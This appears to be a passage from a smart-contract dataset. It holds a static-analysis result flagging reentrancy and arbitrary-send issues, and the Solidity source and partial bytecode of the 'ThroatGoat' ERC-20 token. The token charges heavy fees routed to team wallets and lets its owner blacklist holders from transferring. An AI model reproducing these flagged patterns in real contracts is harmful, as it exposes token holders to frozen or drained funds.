000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6136cb816131d7565b81146136d657600080fd5b50565b6136e2816131e9565b81146136ed57600080fd5b50565b6136f981613215565b811461370457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122012c7d75328f5319b4128b66ee0e52b30a618cc9e8e036cb4d5ce5a126345e0f764736f6c63430008060033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 659 |
0xc73763c235ac0198411fc72d3f36a124cb45f3d2 | pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract Throatgoat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ThroatGoat t.me/throatgoat";
string private constant _symbol = "TGOAT";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 15;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable teamwallet, address payable marketingwallet) {
_teamAddress = teamwallet;
_marketingFunds = marketingwallet;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 15;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 2500000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612ede565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a01565b61045e565b6040516101789190612ec3565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613080565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129b2565b61048d565b6040516101e09190612ec3565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612924565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130f5565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a7e565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612924565b610783565b6040516102b19190613080565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612df5565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612ede565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a01565b61098d565b60405161035b9190612ec3565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a3d565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612ad0565b6110d1565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612976565b61121a565b6040516104189190613080565b60405180910390f35b60606040518060400160405280601a81526020017f5468726f6174476f617420742e6d652f7468726f6174676f6174000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137b960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fc0565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fc0565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fc0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f54474f4154000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fc0565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef90613396565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e00565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fc0565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613040565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d68919061294d565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e02919061294d565b6040518363ffffffff1660e01b8152600401610e1f929190612e10565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e71919061294d565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e62565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612af9565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506722b1c8c1227a00006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e39565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612aa7565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fc0565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612f80565b60405180910390fd5b6111d860646111ca83683635c9adc5dea000006120fa90919063ffffffff16565b61217590919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f9190613080565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613020565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f40565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114679190613080565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613000565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffff